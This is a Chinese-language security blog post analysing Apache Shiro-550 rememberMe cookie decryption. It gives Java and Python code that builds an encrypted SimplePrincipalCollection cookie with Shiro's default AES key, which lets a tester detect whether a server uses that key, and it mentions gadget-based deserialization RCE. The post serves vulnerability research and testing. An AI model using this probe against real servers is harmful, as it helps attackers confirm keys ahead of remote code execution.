Shiro550另类检查方式笔记

admin 2023年5月15日23:19:18评论55 views字数 2482阅读8分16秒阅读模式


整体处理函数如下:

Shiro550另类检查方式笔记

传入错误key:

通过393行传入subjectContext,调用getRememberedSerializedIdentity函数,该函数位内的

org/apache/shiro/web/mgt/CookieRememberMeManager.java:

可以看到该段函数含义为取cookie里的rememberMe参数,然后进行解码为字节数组

整体流程:

Shiro550另类检查方式笔记

随后进入红箭头指向的这一步,convertBytesToPrincipals函数用shiro里的key对传入的参数进行解密等一系列操作,跟进convertBytesToPrincipals函数

Shiro550另类检查方式笔记

发现调用了decrypt函数进行解密,继续跟进:

Shiro550另类检查方式笔记

这里489行调用了key进行解密,当然,这里肯定是得不到结果的,因为传入的key是错误的,那么我们回过头,去看整体的函数,就会被

Shiro550另类检查方式笔记

这里捕捉异常

进入onRememberedPrincipalFailure函数

Shiro550另类检查方式笔记

进入forgetIdentity函数

Shiro550另类检查方式笔记

继续跟进removeFrom方法:

Shiro550另类检查方式笔记

355行加入了value,这里DELETED_COOKIE_VALUE即为deleteMe参数

Shiro550另类检查方式笔记

这里用gadget进行rce,但是可以看到,多出来了一个deleteMe参数,为什么呢 

Shiro550另类检查方式笔记



传入的key正确,所以之前的流程不需要看,直接进入convertBytesToPrincipals函数,return deserialize

Shiro550另类检查方式笔记

跟进deserialize函数

Shiro550另类检查方式笔记

看到getSerializer函数,跟进

Shiro550另类检查方式笔记

发现是PrincipalCollection类型的才会不报错,显然,gadget实际上并不是继承PrincipalCollection类型的,所以这里会报错


但是在做类型转换之前,先进入了DefaultSerializer#deserialize 进行反序列化处理,等处理结束返回 deserialized 时候,进行类型转换自然又回到了上面提到的类型转换异常,我们 key 不正确的情况下的 catch 异常捕获的逻辑里,后面的流程就和上述一样了

Shiro550另类检查方式笔记

这里就是反序列化rce的触发点

那么总结一下上面的两种情况,要想达到只依赖shiro自身进行key检测,只需要满足两点:

1.构造一个继承 PrincipalCollection 的序列化对象。

2.key正确情况下不返回 deleteMe ,key错误情况下返回 deleteMe 。

基于这两个条件下 SimplePrincipalCollection 这个类自然就出现了,这个类可被序列化,继承了 PrincipalCollection 。


构造POC实际上也很简单,构造一个这个空对象也是可以达到效果的。(这里的org.apache.shiro.subject.SimplePrincipalCollection需自己进行获取导入)

package example;
import java.io.File;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import org.apache.shiro.subject.SimplePrincipalCollection;
public class test { public static void main(String[] args) throws IOException { SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection(); ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload")); obj.writeObject(simplePrincipalCollection); obj.close(); }}

就会看到文件夹下多出一个payload文件,里面存储的即为序列化数据

这里我用到的生成rememberMe的脚本如下:

import sys import base64 import uuidfrom random import Randomimport subprocessfrom Crypto.Cipher import AESimport base64
def encode_rememberme(): BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC
iv = uuid.uuid5(uuid.NAMESPACE_DNS, 'f0ng').bytes encryptor = AES.new(base64.b64decode(key), mode, iv) f=open(r'payload','rb') #二进制方式打开图文件 ls_f=base64.b64encode(f.read()) #读取文件内容,转换为base64编码 f.close() print(base64.b64decode(ls_f)) file_body = pad(base64.b64decode(ls_f))
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) print(base64_ciphertext.decode())
return base64_ciphertext
if __name__ == '__main__': payload = encode_rememberme()

Shiro550另类检查方式笔记

用生成的rememberMe参数去请求:

Shiro550另类检查方式笔记

随意进行更改rememberMe的key变成错误的key,重新生成

Shiro550另类检查方式笔记

Shiro550另类检查方式笔记

可以看到,rememberMe=deleteMe字段出来了

原文始发于微信公众号(only security):Shiro550另类检查方式笔记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月15日23:19:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Shiro550另类检查方式笔记http://cn-sec.com/archives/817392.html

发表评论

匿名网友 填写信息